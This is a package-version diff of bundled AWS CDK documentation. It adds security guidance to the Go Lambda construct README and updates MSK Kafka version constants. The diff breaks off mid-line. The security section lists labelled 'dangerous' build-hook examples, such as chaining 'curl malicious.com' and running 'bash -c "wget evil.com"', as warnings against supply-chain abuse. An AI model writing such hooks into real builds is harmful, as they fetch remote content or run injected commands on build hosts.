konokenj.cdk-api-mcp-server 0.48.0__py3-none-any.whl → 0.57.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- cdk_api_mcp_server/__about__.py +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/@aws-cdk/aws-amplify-alpha/README.md +12 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/@aws-cdk/aws-bedrock-agentcore-alpha/README.md +1979 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/@aws-cdk/aws-bedrock-alpha/README.md +2 -2
- cdk_api_mcp_server/resources/aws-cdk/constructs/@aws-cdk/aws-eks-v2-alpha/README.md +156 -69
- cdk_api_mcp_server/resources/aws-cdk/constructs/@aws-cdk/aws-imagebuilder-alpha/README.md +656 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/@aws-cdk/aws-lambda-go-alpha/README.md +102 -4
- cdk_api_mcp_server/resources/aws-cdk/constructs/@aws-cdk/aws-msk-alpha/README.md +38 -8
- cdk_api_mcp_server/resources/aws-cdk/constructs/@aws-cdk/aws-sagemaker-alpha/README.md +32 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/@aws-cdk/mixins-preview/README.md +182 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/README.md/README.md +2 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-apigateway/README.md +34 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-apigateway/integ.api-with-authorizer-and-proxy.ts +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-apigateway/integ.lambda-api.ts +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-apigateway/integ.lambda-permission-consolidation.ts +55 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-apigateway/integ.spec-restapi.ts +1 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-apigatewayv2/README.md +93 -81
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-apigatewayv2/integ.stage.ts +20 -4
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-apigatewayv2-authorizers/integ.iam.ts +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-apigatewayv2-authorizers/integ.lambda.ts +2 -2
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-apigatewayv2-authorizers/integ.user-pool.ts +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-apigatewayv2-integrations/README.md +35 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-apigatewayv2-integrations/integ.add-subroute-integration.ts +7 -4
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-apigatewayv2-integrations/integ.http-proxy.ts +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-apigatewayv2-integrations/integ.lambda-connect-disconnect-trigger.ts +2 -2
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-apigatewayv2-integrations/integ.lambda-permission-consolidation.ts +45 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-apigatewayv2-integrations/integ.lambda-proxy.ts +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-apigatewayv2-integrations/integ.lambda.ts +4 -4
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-appsync/integ.graphql-lambda-permission.ts +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-appsync/integ.js-resolver.ts +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-batch/README.md +15 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-batch/integ.managed-compute-environment-default-instance-class.ts +20 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-cloudformation/integ.core-custom-resources-node-18.ts +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-cloudformation/integ.core-custom-resources-service-timeout.ts +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-cloudfront-origins/README.md +33 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-cloudfront-origins/integ.function-url-origin-ip-address-type.ts +84 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-cloudfront-origins/integ.origin-response-completion-timeout.ts +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-cloudtrail/integ.cloudtrail-data-events-only.ts +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-cloudwatch/README.md +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-cloudwatch/integ.anomaly-detection-alarm.ts +44 -2
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-codebuild/README.md +0 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-codepipeline-actions/integ.pipeline-elastic-beanstalk-deploy.ts +4 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-cognito/README.md +2 -2
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-dynamodb/README.md +125 -2
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-dynamodb/TABLE_V1_API.md +45 -2
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-dynamodb/integ.dynamodb.add-to-resource-policy.ts +97 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-dynamodb/integ.dynamodb.compound.ts +32 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-dynamodb/integ.dynamodb.policy.ts +21 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-dynamodb/integ.table-v2.compound.ts +43 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-ec2/README.md +16 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-ec2/integ.client-vpn-endpoint-disconnect-on-session-timeout.ts +65 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-ec2/integ.vpc-flow-logs.ts +4 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-ecr/README.md +41 -2
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-ecr/integ.tag-mutability-exclusion.ts +30 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-ecs/README.md +47 -4
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-ecs/integ.managedinstances-capacity-provider.ts +5 -3
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-ecs/integ.managedinstances-no-default-capacity-provider.ts +107 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-ecs/integ.placement-strategies.ts +32 -8
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-ecs-patterns/integ.alb-fargate-service-public-private-switch.ts +45 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-eks/README.md +103 -83
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-eks/integ.eks-al2023-nodegroup.ts +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-eks/integ.eks-cluster-removal-policy.ts +31 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-eks/integ.fargate-cluster.ts +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-elasticloadbalancingv2/README.md +34 -4
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-elasticloadbalancingv2/integ.alb-lambda-multi-value-headers.ts +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-elasticloadbalancingv2/integ.alb.oidc.ts +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-elasticloadbalancingv2/integ.nlb.security-group.ts +70 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-elasticloadbalancingv2-actions/integ.cognito.ts +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-events-targets/README.md +22 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-events-targets/integ.firehose-delivery-stream.ts +51 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-iam/integ.managed-policy.ts +9 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-iam/integ.policy.ts +9 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-kinesis/README.md +42 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-kinesis/integ.stream-shard-level-monitoring.ts +47 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-kinesisfirehose/README.md +156 -3
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-kinesisfirehose/integ.cloudwatch-logs-processors.ts +45 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-kinesisfirehose/integ.record-format-conversion-schema.ts +154 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-kinesisfirehose/integ.record-format-conversion.ts +178 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-lambda/README.md +39 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-lambda/integ.binary-payload.ts +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-lambda/integ.logging-config.ts +8 -8
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-lambda/integ.multi-tenancy.ts +24 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-lambda/integ.params-and-secrets.ts +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-lambda/integ.runtime-management.ts +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-lambda/integ.runtime.fromasset.ts +19 -4
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-lambda/integ.runtime.inlinecode.ts +11 -4
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-lambda-nodejs/integ.dependencies-pnpm.ts +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-lambda-nodejs/integ.function-exclude-smithy-models.ts +2 -2
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-lambda-nodejs/integ.nodejs.build.images.ts +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-logs/README.md +4 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-logs/integ.metricfilter-apply-on-transformed-logs.ts +29 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-logs/integ.subscriptionfilter.ts +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-opensearchservice/integ.opensearch.ebs.ts +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-opensearchservice/integ.opensearch.min.ts +1 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-rds/README.md +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-rds/integ.cluster-cloudwatch-logs-exports.ts +56 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-rds/integ.cluster-data-api-to-imported-cluster.ts +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-rds/integ.cluster-data-api.ts +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-route53/README.md +44 -31
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-route53/integ.private-hosted-zone-from-attributes.ts +41 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-route53/integ.zone-delegation-iam-stack.ts +66 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/README.md +65 -4
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-big-response.ts +17 -6
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-cloudfront.ts +20 -18
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-cross-nested-stack-source.ts +7 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-cross-stack-source.ts +6 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-cross-stack-ssm-source.ts +7 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-data.ts +99 -59
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-deployed-bucket.ts +10 -4
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-large-file.ts +23 -12
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-loggroup.ts +7 -2
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-security-groups-efs.ts +77 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-security-groups-empty.ts +69 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-security-groups-multiple.ts +89 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-security-groups-single.ts +77 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-signcontent.ts +11 -7
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-substitution-with-destination-key.ts +15 -8
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-substitution-with-role.ts +29 -14
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-substitution.ts +16 -8
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-vpc-basic.ts +65 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-vpc-config.ts +66 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-vpc-custom-subnets.ts +66 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-vpc-efs.ts +66 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-vpc-security-groups.ts +72 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-vpc-subnet-selection.ts +70 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment.ts +47 -69
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-secretsmanager/integ.secret.dynamic-reference-key.ts +38 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-stepfunctions/integ.sm-jsonpath-with-distributed-map-jsonata.ts +105 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-stepfunctions-tasks/README.md +15 -4
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-stepfunctions-tasks/integ.call-aws-service-cross-region-lambda.ts +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-stepfunctions-tasks/integ.evaluate-expression-arm64.ts +27 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-stepfunctions-tasks/integ.evaluate-expression-default.ts +25 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-stepfunctions-tasks/integ.evaluate-expression-mixed-arch.ts +35 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-stepfunctions-tasks/integ.evaluate-expression-x86.ts +27 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-stepfunctions-tasks/integ.invoke-json-path.ts +102 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-synthetics/README.md +17 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-synthetics/integ.canary-runtime-validation.ts +43 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-synthetics/integ.canary.ts +2 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/custom-resources/README.md +56 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/custom-resources/integ.aws-custom-resource.ts +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/custom-resources/integ.custom-resource-config-lambda-node-runtime.ts +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/custom-resources/integ.external-id.ts +80 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/custom-resources/integ.invoke-function-payload.ts +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/cx-api/FEATURE_FLAGS.md +71 -10
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/cx-api/README.md +32 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/interfaces/README.md +33 -0
- {konokenj_cdk_api_mcp_server-0.48.0.dist-info → konokenj_cdk_api_mcp_server-0.57.0.dist-info}/METADATA +2 -2
- {konokenj_cdk_api_mcp_server-0.48.0.dist-info → konokenj_cdk_api_mcp_server-0.57.0.dist-info}/RECORD +151 -106
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-events-targets/integ.kinesis-firehose-stream.ts +0 -33
- {konokenj_cdk_api_mcp_server-0.48.0.dist-info → konokenj_cdk_api_mcp_server-0.57.0.dist-info}/WHEEL +0 -0
- {konokenj_cdk_api_mcp_server-0.48.0.dist-info → konokenj_cdk_api_mcp_server-0.57.0.dist-info}/entry_points.txt +0 -0
- {konokenj_cdk_api_mcp_server-0.48.0.dist-info → konokenj_cdk_api_mcp_server-0.57.0.dist-info}/licenses/LICENSE.txt +0 -0
|
@@ -170,6 +170,8 @@ new go.GoFunction(this, 'handler', {
|
|
|
170
170
|
});
|
|
171
171
|
```
|
|
172
172
|
|
|
173
|
+
**⚠️ Security Warning**: Build flags are passed directly to the Go build command and can execute arbitrary commands during bundling. Only use trusted values and avoid flags like `-toolexec` with untrusted arguments. Be especially cautious with third-party CDK constructs that may contain malicious build flags. The CDK will display a warning during synthesis when `goBuildFlags` is used.
|
|
174
|
+
|
|
173
175
|
By default this construct doesn't use any Go module proxies. This is contrary to
|
|
174
176
|
a standard Go installation, which would use the Google proxy by default. To
|
|
175
177
|
recreate that behavior, do the following:
|
|
@@ -200,19 +202,21 @@ new go.GoFunction(this, 'GoFunction', {
|
|
|
200
202
|
|
|
201
203
|
## Command hooks
|
|
202
204
|
|
|
203
|
-
It is
|
|
205
|
+
It is possible to run additional commands by specifying the `commandHooks` prop:
|
|
204
206
|
|
|
205
|
-
```
|
|
206
|
-
// This example only available in TypeScript
|
|
207
|
+
```ts
|
|
207
208
|
// Run additional commands on a GoFunction via `commandHooks` property
|
|
208
209
|
new go.GoFunction(this, 'handler', {
|
|
210
|
+
entry: 'cmd/api',
|
|
209
211
|
bundling: {
|
|
210
212
|
commandHooks: {
|
|
211
213
|
// run tests
|
|
212
214
|
beforeBundling(inputDir: string): string[] {
|
|
213
215
|
return ['go test ./cmd/api -v'];
|
|
214
216
|
},
|
|
215
|
-
|
|
217
|
+
afterBundling(inputDir: string, outputDir: string): string[] {
|
|
218
|
+
return ['echo "Build complete"'];
|
|
219
|
+
},
|
|
216
220
|
},
|
|
217
221
|
},
|
|
218
222
|
});
|
|
@@ -230,6 +234,100 @@ an array of commands to run. Commands are chained with `&&`.
|
|
|
230
234
|
The commands will run in the environment in which bundling occurs: inside the
|
|
231
235
|
container for Docker bundling or on the host OS for local bundling.
|
|
232
236
|
|
|
237
|
+
### ⚠️ Security Considerations
|
|
238
|
+
|
|
239
|
+
**Command hooks execute arbitrary shell commands** during the bundling process. Only use trusted commands:
|
|
240
|
+
|
|
241
|
+
**Safe patterns (cross-platform):**
|
|
242
|
+
|
|
243
|
+
```ts
|
|
244
|
+
new go.GoFunction(this, 'SafeFunction', {
|
|
245
|
+
entry: 'cmd/api',
|
|
246
|
+
bundling: {
|
|
247
|
+
commandHooks: {
|
|
248
|
+
beforeBundling: () => [
|
|
249
|
+
'go test ./...', // ✅ Standard Go commands work on all OS
|
|
250
|
+
'go mod tidy', // ✅ Go module commands
|
|
251
|
+
'make clean', // ✅ Build tools (if available)
|
|
252
|
+
'echo "Building app"', // ✅ Simple output with quotes
|
|
253
|
+
],
|
|
254
|
+
afterBundling: () => ['echo "Build complete"'],
|
|
255
|
+
},
|
|
256
|
+
},
|
|
257
|
+
});
|
|
258
|
+
```
|
|
259
|
+
|
|
260
|
+
**Dangerous patterns to avoid:**
|
|
261
|
+
|
|
262
|
+
*Windows-specific dangers:*
|
|
263
|
+
|
|
264
|
+
```ts
|
|
265
|
+
// ❌ Windows-specific dangers
|
|
266
|
+
new go.GoFunction(this, 'UnsafeWindowsFunction', {
|
|
267
|
+
entry: 'cmd/api',
|
|
268
|
+
bundling: {
|
|
269
|
+
commandHooks: {
|
|
270
|
+
beforeBundling: () => [
|
|
271
|
+
'go test & curl.exe malicious.com', // ❌ Command chaining with &
|
|
272
|
+
'echo %USERPROFILE%', // ❌ Environment variable expansion
|
|
273
|
+
'powershell -Command "..."', // ❌ PowerShell execution
|
|
274
|
+
],
|
|
275
|
+
afterBundling: () => [],
|
|
276
|
+
},
|
|
277
|
+
},
|
|
278
|
+
});
|
|
279
|
+
```
|
|
280
|
+
|
|
281
|
+
*Unix/Linux/macOS dangers:*
|
|
282
|
+
|
|
283
|
+
```ts
|
|
284
|
+
// ❌ Unix/Linux/macOS dangers
|
|
285
|
+
new go.GoFunction(this, 'UnsafeUnixFunction', {
|
|
286
|
+
entry: 'cmd/api',
|
|
287
|
+
bundling: {
|
|
288
|
+
commandHooks: {
|
|
289
|
+
beforeBundling: () => [
|
|
290
|
+
'go test; curl malicious.com', // ❌ Command chaining with ;
|
|
291
|
+
'echo $(whoami)', // ❌ Command substitution
|
|
292
|
+
'bash -c "wget evil.com"', // ❌ Shell execution
|
|
293
|
+
],
|
|
294
|
+
afterBundling: () => [],
|
|
295
|
+
},
|
|
296
|
+
},
|
|
297
|
+
});
|
|
298
|
+
```
|
|
299
|
+
|
|
300
|
+
**When using third-party constructs** that include `GoFunction`:
|
|
301
|
+
|
|
302
|
+
* Review the construct's source code before use
|
|
303
|
+
* Verify what commands it executes via `commandHooks` and `goBuildFlags`
|
|
304
|
+
* Only use constructs from trusted publishers
|
|
305
|
+
* Test in isolated environments first
|
|
306
|
+
|
|
307
|
+
The `GoFunction` construct will display CDK warnings during synthesis when potentially unsafe `commandHooks` or `goBuildFlags` are detected.
|
|
308
|
+
|
|
309
|
+
For more security guidance, see [AWS CDK Security Best Practices](https://docs.aws.amazon.com/cdk/latest/guide/security.html).
|
|
310
|
+
|
|
311
|
+
## Security Best Practices
|
|
312
|
+
|
|
313
|
+
### Third-Party Construct Safety
|
|
314
|
+
|
|
315
|
+
When using third-party CDK constructs that utilize `GoFunction`, exercise caution:
|
|
316
|
+
|
|
317
|
+
1. **Review source code** - Inspect the construct implementation for `commandHooks` and `goBuildFlags` usage
|
|
318
|
+
2. **Verify publishers** - Use constructs only from trusted, verified sources
|
|
319
|
+
3. **Pin versions** - Use exact versions to prevent supply chain attacks
|
|
320
|
+
4. **Isolated testing** - Test third-party constructs in sandboxed environments
|
|
321
|
+
|
|
322
|
+
**Before using any third-party construct:**
|
|
323
|
+
|
|
324
|
+
* Review the construct's source code on GitHub or npm
|
|
325
|
+
* Search for `commandHooks` and `goBuildFlags` usage in the code
|
|
326
|
+
* Verify no dangerous command patterns are present
|
|
327
|
+
* Use exact version pinning to prevent supply chain attacks
|
|
328
|
+
|
|
329
|
+
The `GoFunction` construct will display CDK warnings during synthesis when potentially unsafe `commandHooks` or `goBuildFlags` are detected.
|
|
330
|
+
|
|
233
331
|
## Additional considerations
|
|
234
332
|
|
|
235
333
|
Depending on how you structure your Golang application, you may want to change the `assetHashType` parameter.
|
|
@@ -23,7 +23,7 @@ The following example creates an MSK Cluster.
|
|
|
23
23
|
declare const vpc: ec2.Vpc;
|
|
24
24
|
const cluster = new msk.Cluster(this, 'Cluster', {
|
|
25
25
|
clusterName: 'myCluster',
|
|
26
|
-
kafkaVersion: msk.KafkaVersion.
|
|
26
|
+
kafkaVersion: msk.KafkaVersion.V4_1_X_KRAFT,
|
|
27
27
|
vpc,
|
|
28
28
|
});
|
|
29
29
|
```
|
|
@@ -36,7 +36,7 @@ To control who can access the Cluster, use the `.connections` attribute. For a l
|
|
|
36
36
|
declare const vpc: ec2.Vpc;
|
|
37
37
|
const cluster = new msk.Cluster(this, 'Cluster', {
|
|
38
38
|
clusterName: 'myCluster',
|
|
39
|
-
kafkaVersion: msk.KafkaVersion.
|
|
39
|
+
kafkaVersion: msk.KafkaVersion.V4_1_X_KRAFT,
|
|
40
40
|
vpc,
|
|
41
41
|
});
|
|
42
42
|
|
|
@@ -88,7 +88,7 @@ import * as acmpca from 'aws-cdk-lib/aws-acmpca';
|
|
|
88
88
|
declare const vpc: ec2.Vpc;
|
|
89
89
|
const cluster = new msk.Cluster(this, 'Cluster', {
|
|
90
90
|
clusterName: 'myCluster',
|
|
91
|
-
kafkaVersion: msk.KafkaVersion.
|
|
91
|
+
kafkaVersion: msk.KafkaVersion.V4_1_X_KRAFT,
|
|
92
92
|
vpc,
|
|
93
93
|
encryptionInTransit: {
|
|
94
94
|
clientBroker: msk.ClientBrokerEncryption.TLS,
|
|
@@ -113,7 +113,7 @@ Enable client authentication with [SASL/SCRAM](https://docs.aws.amazon.com/msk/l
|
|
|
113
113
|
declare const vpc: ec2.Vpc;
|
|
114
114
|
const cluster = new msk.Cluster(this, 'cluster', {
|
|
115
115
|
clusterName: 'myCluster',
|
|
116
|
-
kafkaVersion: msk.KafkaVersion.
|
|
116
|
+
kafkaVersion: msk.KafkaVersion.V4_1_X_KRAFT,
|
|
117
117
|
vpc,
|
|
118
118
|
encryptionInTransit: {
|
|
119
119
|
clientBroker: msk.ClientBrokerEncryption.TLS,
|
|
@@ -132,7 +132,7 @@ Enable client authentication with [IAM](https://docs.aws.amazon.com/msk/latest/d
|
|
|
132
132
|
declare const vpc: ec2.Vpc;
|
|
133
133
|
const cluster = new msk.Cluster(this, 'cluster', {
|
|
134
134
|
clusterName: 'myCluster',
|
|
135
|
-
kafkaVersion: msk.KafkaVersion.
|
|
135
|
+
kafkaVersion: msk.KafkaVersion.V4_1_X_KRAFT,
|
|
136
136
|
vpc,
|
|
137
137
|
encryptionInTransit: {
|
|
138
138
|
clientBroker: msk.ClientBrokerEncryption.TLS,
|
|
@@ -155,7 +155,7 @@ import * as acmpca from 'aws-cdk-lib/aws-acmpca';
|
|
|
155
155
|
declare const vpc: ec2.Vpc;
|
|
156
156
|
const cluster = new msk.Cluster(this, 'Cluster', {
|
|
157
157
|
clusterName: 'myCluster',
|
|
158
|
-
kafkaVersion: msk.KafkaVersion.
|
|
158
|
+
kafkaVersion: msk.KafkaVersion.V4_1_X_KRAFT,
|
|
159
159
|
vpc,
|
|
160
160
|
encryptionInTransit: {
|
|
161
161
|
clientBroker: msk.ClientBrokerEncryption.TLS,
|
|
@@ -186,7 +186,7 @@ declare const vpc: ec2.Vpc;
|
|
|
186
186
|
declare const bucket: s3.IBucket;
|
|
187
187
|
const cluster = new msk.Cluster(this, 'cluster', {
|
|
188
188
|
clusterName: 'myCluster',
|
|
189
|
-
kafkaVersion: msk.KafkaVersion.
|
|
189
|
+
